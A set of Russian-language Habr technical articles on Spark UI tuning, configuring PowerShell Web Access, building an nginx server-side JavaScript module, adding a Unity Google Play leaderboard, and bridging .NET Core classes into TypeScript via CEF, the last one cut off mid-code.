нелокальное выполнение. Параметр *spark.locality.wait* описывает, как долго ждать перед понижением уровня задач, которые потенциально могут выполняться с более высокого уровня локальности до более низкого уровня. Этот параметр, по сути, является нашей оценкой того, сколько стоит ожидание локального места. Значение по умолчанию - 3 секунды, что означает, что в нашем примере с Cassandra, как только наш совместно расположенный узел X будет забит задачами, другие наши машины Y и Z будут простаивать в течение 3 секунд, прежде чем задачи, которые могли быть NODELOCAL, будут понижены до ANY\* и запущены. Вот [пример кода](https://github.com/apache/spark/blob/823baca2cb8edb62885af547d3511c9e8923cefd/core/src/main/scala/org/apache/spark/scheduler/TaskSetManager.scala#L579-L585) для этого. Я надеюсь, что эта статья послужит вам в качестве руководства по дебаггингу на Spark UI с целью устранения проблем с производительностью Spark. В Spark 3 есть много дополнительных функций, которые тоже стоит посмотреть. Также хорошая идея — почитать [документацию Spark UI](https://spark.apache.org/docs/3.0.0-preview/web-ui.html#:~:text=Apache%20Spark%20provides%20a%20suite,Jobs%20detail). Вы также можете связаться со мной в [Linkedin.](http://www.linkedin.com/in/cinto-sunny-2b21a983) Хотите узнать, как Apache Druid индексирует данные для сверхбыстрых запросов? Узнайте об этом здесь: [Insights into Indexing using Bitmap Index](https://levelup.gitconnected.com/insights-into-indexing-using-bitmap-index-c28a3db1ad97) --- > *Интересно развиваться в данном направлении? Участвуйте в трансляции мастер-класса* [*«Spark 3.0: что нового?»*](https://otus.pw/c3nU/) *и оцените программу курса «Экосистема Hadoop, Spark, Hive»!* > >
https://habr.com/ru/post/526892/
null
ru
null
# PowerShell Web Access: конфигурирование ![](https://habrastorage.org/r/w780q1/storage2/eef/1be/c68/eef1bec6878c24a31ad68b76ed06356e.jpg) Продолжаем знакомиться с [**Powershell Web Access**](http://technet.microsoft.com/ru-ru/library/hh831611.aspx) (PSWA). В [предыдущей статье](http://habrahabr.ru/company/netwrix/blog/164253/) мы рассказывали, как удаленно установить PowerShell Web Acess на новом веб-сервере из клиента Windows 8 с запущенными RSAT. В этой статье мы займемся конфигурированием шлюза и настройкой правил авторизации. Оригинал статьи на petri.co.il можно найти [здесь](http://www.petri.co.il/powershell-web-access-configuration.htm). Заинтересованных приглашаем под кат. #### PSWA и конфигурация шлюза Команды, необходимые для конфигурирования шлюза, можно запустить непосредственно на сервере, но я предпочитаю все сделать удаленно. Запустим удаленную PowerShell сессию на сервере (я работаю на машине под Windows 8). ``` PS C:\> enter-pssession CHI-WEB01 ``` (В нашем случае вместо CHI-WEB01 мы указываем имя нашего сервера – *Прим. переводчика*). Сейчас я осуществим настройку шлюза с использованием тестового сертификата (self-signed test certificate). Потом сделаем так, чтобы сайт использовал валидный сертификат. ``` [chi-web01]: PS C:\> Install-PswaWebApplication –usetestcertificate ``` Указанная выше команда предполагает, что я не менял имя сайта по умолчанию (“Default Web Site”), равно как и имя приложения (“pswa”).На рисунке 1 приведен результат. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/9d7/c64/3f7/9d7c643f7a00fd0e729f7d4a8b58a7c0.png) #### Конфигурируем правила авторизации с PSWA По умолчанию никто не обладает доступом к PowerShell Web Access. Правила авторизации должны быть заданы с помощью командлета **Add-PswaAuthorizationRule**. Он также должен быть запущен на веб-сервере, и я воспользуюсь текущей сессией. Уточняем имя пользователя или его группу, которым вы хотели бы предоставить доступ. Также необходимо уточнить имена компьютеров, к которым возможен удаленный доступ (можно использовать имя группы, которая содержит учетные записи компьютеров) и назназначить имя конфигурации. Конфигурация представляет собой имя удаленной конечной точки (remoting endpoint). Шлюз PSWA установить удаленное соединение с ней. Используем **Get-PSSessionConfiguration** для нумерования этих сессий. ``` PS C:\> invoke-command {get-pssessionconfiguration} -ComputerName chi-dc03 ``` На рисунке 2 показаны доступные конечные точки для сервера CHI-DC03. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/b79/dcf/475/b79dcf475cd5f5792ab85f693b956095.png) Конфигурация сессии должна присутствовать на всех компьютерах, входящих в правило. Я собираюсь создать тестовое правило авторизации, используя конфигурацию Microsoft.PowerShell. По сути это конечная точка, к которой вы получаете удаленный доступ. Также Вы можете задать имя правила, что я и сейчас и сделаю. ``` [chi-web01]: PS C:\> Add-PswaAuthorizationRule -rulename "Test Rule 1" -computername chi-dc03 -username globomantics\jeff -configuration microsoft.powershell ``` В качестве имени правила было выбрано «Test Rule 1», Вы, конечно, можете любое другое. Обратите также внимание на формат имени пользователя, которому выдаются права. В данном случае мы используем globomantics\jeff. Если Вы пробуете сделать это на новой системе, Вы, скорее всего, получите следующую ошибку: ``` Add-PswaAuthorizationRule : This command must be run by a user account with permissions to perform Active Directory queries. ``` Если вы запускаете эту команду в интерактивной сессии на сервере (а не удаленной), то все должно нормально работать. Проблема заключается во второй ретрансляции (hop). Командлету **Add-PSwaAuthorizationRule** необходимо установить связь с контроллером домена, для которого по правилам безопасности (security design) не разрешено находиться в состоянии PowerShell Remoting. Это ограничение второй ретрансляции (second-hop limitation) может быть преодолено с помощью активирования аутентификации CredSSP. **Внимание**: Этого не стоит делать “с налету”, так как имеются последствия для безопасности, требуется предварительное исследование. Но в моем случае, так как я хочу использовать удаленный доступ, я выйду из удаленной сессии и активирую CredSSP на моей машине для сервера CHI-WEB01. ``` PS C:\> Enable-WSManCredSSP -DelegateComputer chi-web01 -Role Client ``` Активировали, теперь переключаемся на возможности сервера. ``` PS C:\> invoke-command {enable-wsmancredssp -Role Server -Force} -ComputerName chi-web01 ``` Сделав это заново запускаем удаленное соединение, уточняющее CredSSP и мои параметры доступа. ``` PS C:\> enter-pssession chi-web01 -Authentication Credssp -Credential globomantics\jeff ``` Когда я запускаю команду авторизации, она работает так, как показано на рисунке 3. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/22f/607/6b2/22f6076b2deca786b2c45948681f0337.png) Я также могу проверить правило: ``` [chi-web01]: PS C:\> Get-PswaAuthorizationRule Id RuleName User Destination ConfigurationName -- -------- ---- ----------- ----------------- 0 Test Rule 1 globomantics\jeff globomantics\chi... microsoft.powers... ``` Вы можете добавить сколько угодно правил авторизации. Можно получать доступ к машине с PowerShell v2, если на ней включен удаленный доступ. Например, добавим правило для контроллера домена с PowerShell v2. ``` [chi-web01]: PS C:\> Add-PswaAuthorizationRule -rulename "Test Rule 2" -computername chi-dc02 -username globomantics\jeff -configuration microsoft.powershell –force ``` Для удаления правила используйте **Remove-PwaAuthorizationRule**. Уточните правило по id или объекту правила. ``` [chi-web01]: PS C:\> Remove-PswaAuthorizationRule -id 1 -whatif What if: Performing operation "Remove-PswaAuthorizationRule" on Target "Rule 'Test Rule 2' (ID: 1)". [chi-web01]: PS C:\> Get-PswaAuthorizationRule "test rule 2" | Remove-PswaAuthorizationRule –force –whatif What if: Performing operation "Remove-PswaAuthorizationRule" on Target "Rule 'Test Rule 2' (ID: 1)". ``` То, что мы описали выше, можно сделать и через IIS менеджер. Но я предполагаю, что если вы решили настроить PowerShell Web Access, вам комфортнее работать именно в PowerShell. Командлеты для конфигурирования должны быть запущены на том веб-сервере, на котором находится приложение PSWA. В следующем статье будет рассмотрено тестирование и использование PowerShell Web Access. Конец перевода. [Развертывание Windows PowerShell Web Access — статья на Technet](http://technet.microsoft.com/ru-ru/library/hh831611.aspx)
https://habr.com/ru/post/165227/
null
ru
null
# Nginx + серверный Javascript #### … или как перейти с PHP + JavaScript на JavaScript + JavaScript Идея реализовать проект на сервер-сайд JavaScript была уже давно. Проблема была в отсутствии подходящего серверного программного обеспечения. Существующие открытые проекты не устраивали по разным причинам. Устанавливать дополнительный модуль для [Apache](http://httpd.apache.org) было не самой хорошей идеей, потому что производительность и оптимизация использования памяти при этом были бы не на высоте. С помощью [jslibs](http://code.google.com/p/jslibs/) можно настроить FastCGI, но очень не хотелось оставлять ни малейших шансов «502 Bad Gateway», проект [ngx\_http\_js\_module](http://kung-fu-tzu.ru/posts/2008/12/07/ngx_http_js_module-01/) так и остался в зачаточной стадии, а [ngxv8](http://code.google.com/p/ngxv8/) недостаточно развит для реализации реальных приложений. Поэтому я решил сделать собственную реализацию серверного javascript. Причем постараться сразу запрограммировать всю базовую функциональность, чтобы можно было ее тестировать в условиях, близких к реальности. В качестве основного веб-сервера было решено использовать [nginx](http://www.nginx.ru/), в качестве «движка» javascript — TraceMonkey (javascript-движок из [Mozilla Firefox](http://www.mozilla.com), бывший SpiderMonkey), и написать модуль для nginx, который бы их «склеил». Ничего сложного, на первый взгляд, но очень хотелось иметь определенную функциональность (и это получилось!), чтобы можно было нормально работать дальше. Большинство идей заимствованы, кстати, из [PHP](http://www.php.net).* Корректная работа в multi-thread условиях * Возможность выполнять скрипт, указанный в URL, а не настраивать отдельно скрипт-обработчик и функцию-обработчик для каждого location * Возможность вызывать include(), sleep(), alert() из скрипта, использовать \_\_FILE\_\_ и \_\_LINE\_\_ * Ограничение памяти, выделяемой каждому скрипту, и времени работы скрипта * Защита открываемых скриптом файлов, указав в настройках список разрешенных папок. Примерно как [open\_basedir](http://ru2.php.net/manual/en/ini.core.php#ini.open-basedir) в PHP * Автоматический разбор данных запроса (параметров GET, POST, и, конечно же, cookies), чтобы не писать обработку данных на javascript * Поддержка запросов application/x-www-form-urlencoded и multipart/form-data * Поддержка basic-авторизации * Работа с базами данных (в первую очередь, MySQL и SQLite) * Работа с файловой системой: чтение и запись файлов, проверка существования файлов, и т.п. * Кэширование байт-кода скриптов, как, например, в [eAccelerator](http://eaccelerator.net) Плюс некоторые другие возможности (инструменты для шаблонизации, для создания конфигурационных файлов, и т.п.), но их в основной список я не включил — их позволяют сделать языковые возможности TraceMonkey. От слов — к делу! Как скомпилировать и настроить, как протестировать и сравнить... Глубоко в детали сборки не вдаюсь, иначе текст получится неимоверных размеров. Пользователи, имеющие опыт «сборки» программ под Linux, будут чувствовать себя вполне комфортно, а для всех остальных могу предложить [бинарную сборку](http://js.nnov.ru/nginx/binary.html) и возможность пропустить процесс самостоятельной компиляции. Понадобятся:* Linux * Компиляторы C и C++, autoconf 2.13 * Исходники nginx * TraceMonkey из репозитория * Библиотека [NSPR](http://www.mozilla.org/projects/nspr/) * Наш модуль * MySQL и SQLite (опционально) + средства разработки Порядок сборки следующий. Сначала NSPR последней версии (на момент написания — 4.8.2): `wget ftp://ftp.mozilla.org/pub/mozilla.org/nspr/releases/v4.8.2/src/nspr-4.8.2.tar.gz tar -xzf nspr-4.8.2.tar.gz cd nspr-4.8.2/mozilla/nsprpub ./configure --prefix=/usr/local --with-pthreads make sudo make install` Затем TraceMonkey из репозитория (на момент написания, в репозитории версия 1.8.5, а скачать файл с исходниками можно только для 1.7.0): `hg clone http://hg.mozilla.org/tracemonkey/ cd tracemonkey/js/src autoconf2.13 ./configure --prefix=/usr/local --with-nspr-prefix=/usr/local --with-system-nspr --with-pthreads --enable-threadsafe make sudo make install` Этот шаг может быть проблемным по нескольким причинам. Во-первых, не у всех есть команда `hg`. А во-вторых, из репозитория скачиваются все исходники Mozilla Firefox. Поэтому, первую строчку кода можно заменить и скачать исходники только TraceMonkey: `# hg clone http://hg.mozilla.org/tracemonkey/ wget http://js.nnov.ru/files/tracemonkey-20100119.tar.gz tar -xzf tracemonkey-20100119.tar.gz` И затем уже скомпилировать. Далее nginx (0.8.32) и модуль javascript: `wget http://sysoev.ru/nginx/nginx-0.8.32.tar.gz tar -xzf nginx-0.8.32.tar.gz cd nginx-0.8.32/src/http/modules svn co http://nginx-javascript.googlecode.com/svn/trunk/ javascript cd ../../.. ./configure --prefix=/usr/local/nginx-javascript --add-module=src/http/modules/javascript make sudo make install` Если все получилось — то переходим к настройке. Счастливые обладатели бинарной сборки обнаружат, что конфигурация уже выполнена, но лишний раз проверить не помешает. Достаточно выполнить следующие шаги:* Добавить в mime.types тип application/x-javascript-serverside для файлов, которые будут обрабатываться как javascript: `# /usr/local/nginx-javascript/conf/mime.types types {     ...     application/x-javascript-serverside jsx;     ... }` Расширение .jsx выбрано вместо стандартного .js, чтобы сервер не обрабатывал обычные java-скрипты как серверные * Разрешить в разделе location / файла nginx.conf обработку javascript. Заодно сменим номер порта, на котором будет работать сервер: `# /usr/local/nginx-javascript/conf/nginx.conf ...     server {         listen 8081;         ...         location / {             ...             javascript on;             ...         }     } ...` * Запустить nginx: `/usr/local/nginx-javascript/sbin/nginx` * Создать тестовый скрипт hello.jsx: `// /usr/local/nginx-javascript/html/hello.jsx print("Hello, people!");` * Проверить, что hello.jsx выглядит в браузере как надо: `curl http://localhost:8081/hello.jsx` Добившись того, что сервер с javascript заработал, мне стало интересно, насколько выгоднее такое решение, чем стандартное Apache + PHP. Так как вопросы внутренней оптимизации TraceMonkey и PHP меня волновали несколько меньше (например, какой интерпретатор быстрее выполняет цикл из миллиона шагов? Подозреваю, что разница небольшая), то тестировался, в первую очередь, скрипт «Hello, people!». В сравнении участвовали:* Apache/2.2.14 (prefork) + PHP/5.2.12 (модуль) * nginx/0.8.32 (1 рабочий процесс) + javascript * nginx/0.8.32 (8 рабочих процессов) + javascript Среда тестирования — 4-ядерный Xeon с 2ГБ оперативной памяти и Debian Etch. Весь трафик локальный. В подробности «железа» не вдаюсь, в детали конфигурации тоже — настройки более или менее стандартные. Сначала цикл тестов из 1000 запросов один за другим: `# Apache 2.2.14 (prefork) + PHP 5.2.12 (module) ab -n 1000 http://localhost:8085/hello.php Time per request: **5.278** [ms] (mean, across all concurrent requests) # nginx (1 worker) + javascript ab -n 1000 http://localhost:8081/hello.jsx Time per request: **1.298** [ms] (mean, across all concurrent requests) # nginx (8 workers) + javascript ab -n 1000 http://localhost:8088/hello.jsx Time per request: **1.322** [ms] (mean, across all concurrent requests)` Теперь цикл тестов из 1000 запросов при создании 100 одновременных подключений: `# Apache 2.2 (prefork) + PHP 5.2 (module) ab -n 1000 -c 100 http://localhost:8085/hello.php Time per request: **1.648** [ms] (mean, across all concurrent requests) # nginx (1 worker) + javascript ab -n 1000 -c 100 http://localhost:8081/hello.jsx Time per request: **1.277** [ms] (mean, across all concurrent requests) # nginx (8 workers) + javascript ab -n 1000 -c 100 http://localhost:8088/hello.jsx Time per request: **0.544** [ms] (mean, across all concurrent requests)` Выводы из тестирования:* Если запросы к серверу идут последовательно, один за другим, nginx+javascript работает значительно быстрее (у нас примерно в 3 раза). При этом nginx с одним рабочим процессом работает даже чуть-чуть быстрее. В реальности такая ситуация практически никогда не происходит: чаще много клиентов открывают одновременно разные страницы * Если запросы к серверу отправляются одновременно, скорость работы apache+php увеличивается (у нас они показали почти такую же скорость, как nginx+javascript с одним рабочим процессом). Но и скорость работы nginx+javascript с несколькими рабочими процессами тоже возрастает (у нас — более, чем в 2 раза). А nginx+javascript с одним рабочим процессом осталась практически неизменной Кроме того, что такая реализация серверного javascript позволяет добиться увеличения производительности по сравнению с традиционным PHP, javascript позволяет использовать достаточно хитрые языковые конструкции. `// Выводит параметры id запросов GET, POST и cookies: print($request.get['id'], " ", $request.post['id'], " ", $request.cookie['id']); // Отправляет заголовок Content-Type: $result.headers.push("Content-Type: text/html; charset=UTF-8"); // Открывает базу данных, выполняет запрос SELECT с параметром, переданным в GET, и забирает одну строку результата: var row = (new SQLite("database")).query("SELECT * FROM `table` WHERE `id`=?", $request.get['id']).fetch(); // Читает файл: print(File.open("index.html").getChars()); // Выводит IP-адрес клиента, открывашего страницу: print({$server.remoteAddr});` В последнем примере нет ошибки синтаксиса, XML-документы действительно можно использовать внутри скриптов. При этом в них можно вставлять обращения к переменным и вызовы функций, заключая их в фигурные скобки. Эту технологию, [E4X](https://developer.mozilla.org/en/e4x), очень удобно применять для создания шаблонов. Еще ряд примеров можно найти на <http://js.nnov.ru/nginx/examples.html>. Конечно, есть еще ряд проблем, которые нужно постепенно решить:* Поддержка загрузки файлов (coming soon!) * Поддержка cURL и GD, без которых очень сложно жить * Оптимизация системных вызовов stat(), которые сейчас используются для определения определения реального пути к файлу Но, в общем и целом, можно пользоваться. Кстати, небольшой сайт [http://js.nnov.ru](http://js.nnov.ru/) сделан на JavaScript. Просьба жестких тестов на отказоустойчивость пока не проводить :-) З.Ы.> Отдельное спасибо [FTM](https://habrahabr.ru/users/ftm/) за инвайт, благодаря которому топик уже не в песочнице UPD> Сразу бы опубликовал в тематическом, но были проблемы с кармой. Спасибо всем участвующим!
https://habr.com/ru/post/82511/
null
ru
null
# Создание рейтинга игроков для мобильной игры (Unity + Google Play Game Services) Рейтинг игроков (leaderboard, scores) для мобильной игры — вещь интересная и порой даже необходимая. В этой статье я расскажу о том, как добавить рейтинг игроков в приложение, созданное в Unity, т.к. в рунете информации об этом не так много. Кроме того, рейтинг будет кросплатформенный (android + iOS), однако без поддержки Windows Phone. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/fbe/9dd/d44/fbe9ddd44596beffec45051946d03f10.png) ##### Раздел 1. КОНСОЛЬ РАЗРАБОТЧИКА 1. Считаем, что приложение уже опубликовано на Google Play, т.е. у нас есть package name, например com.AnonymousInteractives.NakedSnake 2. Идем в [консоль разработчика] (Developer Console), слева открываем [игровые сервисы] (Game Services) ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/fb5/d04/d6d/fb5d04d6d5442254a5163538d16e1e1f.png) 3. Жмем «Добавить новую игру» и указываем название игры и категорию. Тут может возникнуть некоторая путаница. Термин «игра» здесь означает игровой сервис. Название может не совпадать с реальным названием вашего приложения. У игрового сервиса появляется уникальный идентификатор, например 88171208539 ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/334/e0b/669/334e0b669a9d3b6f1ffcc200ef00ccab.png) 4. Заполняем [сведения об игре] — описание и картинки 5. В разделе [связанные приложения] можно связать с игровым сервисом до 20 приложений. Это могут быть android, iOS и web приложения. Выбираем android. Далее нужно только ввести название пакета приложения из пункта 1 ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/abb/625/075/abb6250757f088f48a673aae9826deb0.png) 6. В разделе [достижения] нужно добавить достижения. Для тестирования пункт можно пропустить, но для публикации нужно добавить не менее 5 достижений. Если у нас в игре нет достижений, то просто создаем фейковые достижения 1, 2, 3, 4, 5 и забываем про них 7. Наконец мы переходим в раздел [рейтинг игроков]. Создаем необходимые нам рейтинги, тут все очевидно. В итоге получаем рейтинг с каким-нибудь идентификатором, например CgkI276nu8gCEAIQAA. Впоследствии он и идентификатор игрового сервиса понадобятся нам для настройки плагина в Unity и обращения к сервису ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/eb9/46f/e8e/eb946fe8e5b216cf52de3c20b6962f50.png) 8. В разделе [тестирование] можно добавить аккаунты для тестирования. Причем можно указать именно почтовые аккаунты, а не группу Google+, как при тестировании самой игры 9. В разделе [публикация] можно опубликовать игру, хотя для тестирования это не обязательно. Все, консоль разработчика нам больше не понадобится ##### Раздел 2. Unity 1. Переходим на страницу проекта play-games-plugin-for-unity и скачиваем проект (ссылка «Download ZIP»). В архиве находим файл GooglePlayGamesPlugin-0.9.02.unitypackage 2. Открываем проект приложения в Unity 3. Дважды кликаем по GooglePlayGamesPlugin-0.9.02.unitypackage и импортируем пакет в проект ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/619/569/71d/61956971df43949b6dbc6a7be68c5c64.png) 4. Переходим в меню File / Play Games — Android setup и вводим идентификатор нашего сервиса (см. шаг 3 из предыдущего раздела). Все, на этом настройка завершена! ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/1f1/bc6/a44/1f1bc6a4441b16f8a0e162a066843de2.png) 5. Теперь осталось добавить пару строчек кода и у нас появится рейтинг игроков. Графический интерфейс рейтинга находится в Android SDK, так что нам не придется тратить на него время. В тоже время, никакой кастомизации UI не предусмотрено (кроме настроек в консоли разработчика — иконка рейтинга и единица измерения). На странице плагина (см. пункт 1) находится достаточно справочной информации, поэтому я без комментарием приведу код внесения записи в рейтинг игроков с последующим его отображением. Замечу, что процесс асинхронный, и на каждое действие приходит callback. Из-за этого могут возникнуть затруднения при внесении записей сразу в несколько рейтингов. Как вариант — реализация цепочек из callback. Альтернативно можно вызывать ReportScore параллельно и обрабатывать все callback таким образом, чтобы только последний из них открывал рейтинг вызовом ShowAchievementsUI ``` PlayGamesPlatform.DebugLogEnabled = true; PlayGamesPlatform.Activate(); Social.localUser.Authenticate(authenticated => { if (!authenticated || !Social.localUser.authenticated) { throw new Exception(); } Social.ReportScore(1000, "CgkI276nu8gCEAIQAA", (bool success) => { if (success) { Social.ShowAchievementsUI(); } else { throw new Exception(); } }); }); ``` ##### Раздел 3. Заключение К сожалению, пока нет поддержки Windows Phone. Там все совсем печально, вас ждет низкоуровневая реализация взаимодействия с Azure и написание своего UI, готовое и рабочее решение найти не удалось. На этом пока все, спасибо за внимание. В дальнейшем, если кому-то будет интересно, могу рассмотреть процесс создания web-приложения для модерации рейтингов (удаления читеров, например), т.к. в консоли разработчика нет для этого никаких средств.
https://habr.com/ru/post/227361/
null
ru
null
# CEF, ES6, Angular 2, TypeScript использование классов .Net Core. Создание кроссплатформенного GUI для .Net с помощью CEF Меня все спрашивают — «Зачем это нужно?». На что, я гордо отвечаю — «Я в 1С использую для доступа к торговому оборудованию, к Вэб-сервисам по ws-протоколам, готовым компонентам. [1С, Linux, Excel, Word, OpenXML,ADO и Net Core](https://habrahabr.ru/post/308216/). Кроме того, сделаю передачу JS объектов на сторону .Net с использованием через DynamicObject. Можно сделать определенную конфигурацию [CEF](https://bitbucket.org/chromiumembedded/cef/wiki/JavaScriptIntegration.md) для всех платформ и можно делать кросспалатформенные декстопные приложения. Как аналог Electron. .Net Core развивается и можно достаточно легко перевести приложения под WPF и UWP на Angular 2» сделав описание классов и использовать IntelliSense при кодировании на TypeScript. Но я прекрасно понимаю, что это всего лишь высокопарные слова, и мало кому это нужно. Но мне чертовски интересно, особенно после программирования на 1С. Для показа возможностей, возьму пример из моей статьи [Кроссплатформенное использование классов .Net в 1С через Native ВК. Или замена COM на Linux II](https://habrahabr.ru/post/307188/). В нем куча сахара и показывает все проблемы. Сразу прошу прощения за Руслиш. Я очень стараюсь, но у меня на нем куча примеров, а времени очень мало. ``` // Метод расширения //IConfiguration WithDefaultLoader(this IConfiguration configuration, Action setup = null, IEnumerable requesters = null); var config = Configuration.Default.WithDefaultLoader(); // Устанавливаем адрес страницы сайта var address = "https://en.wikipedia.org/wiki/List\_of\_The\_Big\_Bang\_Theory\_episodes"; // загружаем страницу и разбираем её //Метод расширения //Task OpenAsync(this IBrowsingContext context, string address); var document = BrowsingContext.New(config).OpenAsync(address).Result; // Используем CSS селектор для получения строк таблицы с классом var rowSelector = "tr.vevent"; var Строки = document.QuerySelectorAll(rowSelector); foreach (var str in Строки) ``` На TypeScript это выглядит так: ``` let Net = NetObject.NetWrapper; let $$ = NetObject.FlagDeleteObject; // Символ для признака удаления при вызове объекта как метода // Загрузим сборку AngleSharpж let СборкаAngleSharp = Net.Сборка("AngleSharp"); // Получим из неё используемые типы let Configuration = СборкаAngleSharp.GetType("AngleSharp.Configuration"); let BrowsingContext = СборкаAngleSharp.GetType("AngleSharp.BrowsingContext"); let HtmlParser = СборкаAngleSharp.GetType("AngleSharp.Parser.Html.HtmlParser"); let IHtmlTableRowElement = СборкаAngleSharp.GetType("AngleSharp.Dom.Html.IHtmlTableRowElement"); let ApiExtensions = СборкаAngleSharp.GetType("AngleSharp.Extensions.ApiExtensions"); let Default = Configuration._Default; var config = Default.WithDefaultLoader(); // Устанавливаем адрес страницы сайта var address = "https://en.wikipedia.org/wiki/List_of_The_Big_Bang_Theory_episodes"; // загружаем страницу и разбираем её let Context = BrowsingContext.New(config); //Метод расширения //Task OpenAsync(this IBrowsingContext context, string address); let document = await Context.async.OpenAsync(address); // Не могу установить результат асинхронной функции класс Proxy с Target fuction // Поэтому для объектов нужно вручную обернуть document = NetObject.WrapResult(document, true); // Используем CSS селектор для получения строк таблицы с классом let rowSelector = "tr.vevent"; // Для дженериков пока не сделал поиск в расширениях поэтому вместо //let rows = document.QuerySelectorAll([IHtmlTableRowElement], rowSelector); // используем метод расширения явно //IEnumerable < TElement > QuerySelectorAll(this IParentNode parent, string selectors) where TElement : IElement; let rows = ApiExtensions.QuerySelectorAll([IHtmlTableRowElement], document, rowSelector); // можно и так вызвать, но нужно обыграть все варианты //let rows = document.QuerySelectorAll(rowSelector); // Пройдемся по нужным строкам распарсенной таблицы for (let row of rows) { let Cells = row.\_Cells; let i = 0; let данныеСайта = new ДанныеСайта(); this.ResultParse.push(данныеСайта); // Загрузим данные ячеек в поля объекта ДанныеСайта for (let Cell of Cells) { // Нужно дождаться окончания итератора, что бы освободить ссылку на итератор if (i < 8) { данныеСайта[this.Colums[i]] = Cell.\_TextContent; Cell($$); // Удалим ссылку из хранилища объектов i++; } } Cells($$); row($$); } rows($$); // Удалим вручную испльзуемые объекты NetObject.DeleteNetObjets(СборкаAngleSharp, Configuration, BrowsingContext, HtmlParser, IHtmlTableRowElement, ApiExtensions, Default, config, Context, document); alert("Количество элементов в хранилище "+Net.КоличествоЭлементовВХранилище()); ``` Прежде всего видим главные отличия от C#. Для получения свойства нужно добавить "\_" ``` let Default = Configuration._Default; ``` Для вызова асинхронного метода нужно добавить ключевое слово **async**: ``` let document = await Context.async.OpenAsync(address); ``` Для вызова дженерик метода, если нельзя вывести типы по параметрам то аргументы указываем в массиве: ``` let rows = ApiExtensions.QuerySelectorAll([IHtmlTableRowElement], document, rowSelector); ``` Ну и главное, нужно вручную удалить ссылку на объект со стороны .Net ``` Cells(NetObject.FlagDeleteObject); ``` для уменьшения писанины ``` Cells($$); ``` По скорости вызовов на моем Intel Core i3-2120 CPU 3.3 GHz. > Скорость вызова без Proxy 60к вызовов в секунду > > Скорость вызова с прокси Proxy 45k вызовов в секунду > > Скорость вызова итератора 160k вызовов в секунду Что в общем-то вполне приемлемо. Приведу еще небольшой пример. ``` public class Тестовый { public string СвойствоОбъекта { get; set; } public Тестовый(string СвойствоОбъекта) { this.СвойствоОбъекта = СвойствоОбъекта; } public object ПолучитьExpandoObject() { dynamic res = new ExpandoObject(); res.Имя = "Тест ExpandoObject"; res.Число = 456; res.ВСтроку = (Func)(() => res.Имя); res.Сумма = (Func)((x, y) => x + y); return res; } } ``` На TypeScript можно вызвать так: ``` // Получим Тип из сборки лежащей в каталоге приложения let Тестовый = Net.GetType("TestDllForCoreClr.Тестовый", "TestDllForCoreClr"); // Создадим объект используя new let TO = new Тестовый("Свойство из Конструктора"); // Получим ExpandoObject var EO = TO.ПолучитьExpandoObject(); let Имя=EO._Имя;// Свойства через _ let Число=EO._Число; let делегат = EO._ВСтроку; let res= делегат());// Вызовем как делегат // Для ExpandoObject можно вызвать как метод res= EO.ВСтроку());// Для ExpandoObject ``` Теперь за счет чего это достигается. [Кроссплатформенное использование классов .Net из неуправляемого кода. Или аналог IDispatch на Linux](https://habrahabr.ru/post/304482/). Через [CEF](https://bitbucket.org/chromiumembedded/cef/wiki/JavaScriptIntegration.md) встраиваем нужные методы: ``` declare var window: WindowInterface; export interface WindowInterface { CallNetMethod(Id: number, MethodName: string, args?: any[]): any;// Вызов метода CallNetDelegate(Id: number, args?: any[]): any; // Вызов делегата CallNetPropertySet(Id: number, PropertyName: string, value: any): void; // Установка свойства CallNetPropertyGet(Id: number, PropertyName: string): any; // Получение значения свойства DeleteNetObject(Id: number): void; // Освободить ссылку на объект со стороны .Net // Асинхронный вызов метода возвращающий Task или Task CallAsyncNetObjectFunction(Id: number, MethodName: string, TaskId: string, args?: any[]): any; // Регистрация метода на стороне CEF, для установки результата Promise RegisterCallBacks(SetAsyncResult: (Successfully: boolean, TaskId: string, result: any) => void): void; // Вызов дженерик метода с указанием типов аргументов CallNetObjectGenericFunction(Id: number, MethodName: string, types: any[], args?: any[]): any; // Вызов итератора IEnumerator MoveNext на стороне .Net IteratorNext(Id: number): any; } ``` Для удобного использования этих методов создадим класс прокси с Target гибридного типа: ``` export interface NetObjectinterface { (): void; Id: number; isNetObject: boolean; IsAsyncCall?: boolean; CallAsProp(target: NetObject, name: any): ResultCallAsProp; Execute: (target: NetObject, name: any, args: any[]) => any; } ``` Target должен быть функцией для возможности использования new и (). Теперь нам понадобится Handler: ``` export var NetObjectHandler: ProxyHandler = { get: (target, name: any) => { // Вызывается как PropertyGet как для свойств так и методов // Что бы их разделить свойства начинаются с "\_" let res = target.CallAsProp(target, name); if (res.Successfully) return res.result; return (...args: any[]) => { return target.Execute(target, name, args); } }, set: function (target, prop, value, receiver) { return NetObject.SetPropertyValue(target, prop, value, receiver); }, apply: (target, that, args) => { if (args.length == 1) { var param = args[0]; if (param === NetObject.FlagGetObject) return target; else if (param === NetObject.FlagDeleteObject) { window.DeleteNetObject(target.Id); return undefined; } } NetObject.SetArgs(args); let res = window.CallNetDelegate(target.Id, args) return NetObject.WrapResult(res, true); }, construct: (target, argumentsList, newTarget) => { // Используем метод на стороне Net // object Новый(object Тип, params object[] argOrig) NetObject.SetArgs(argumentsList); argumentsList.unshift(target); let res = window.CallNetMethod(0, "Новый", argumentsList); return NetObject.WrapResult(res, true); } } ``` Ну и понадобится сам Target: ``` function getNetObject(id: number): NetObjectinterface { let netObject = function (start: number) { }; netObject.Id = id; netObject.isNetObject = true; netObject[NetObject.isNetclass] = true; netObject.Execute = NetObject.Execute; netObject.CallAsProp = NetObject.CallAsProp; return netObject; } ``` Для обертки результата из CEF используется: ``` static WrapResult(value: any, ReturnProxy: boolean = false): any { if (typeof value == "object") { if ("IsNetObject" in value) { let res = getNetObject(value.Id); if (ReturnProxy) return new Proxy(res, NetObjectHandler); else return res } } return value; } ``` Что касается асинхронных методов то они работают через два метода: ``` static GetPromise(Target: NetObjectinterface, name: any, args: any[]) { let key = window.CallNetMethod(0, "GetUniqueString"); let promise = new Promise((resolve, reject) => { NetObject.PromiseDictioanary.set(key, { resolve: resolve, reject: reject }); window.CallAsyncNetObjectFunction(Target.Id, name, 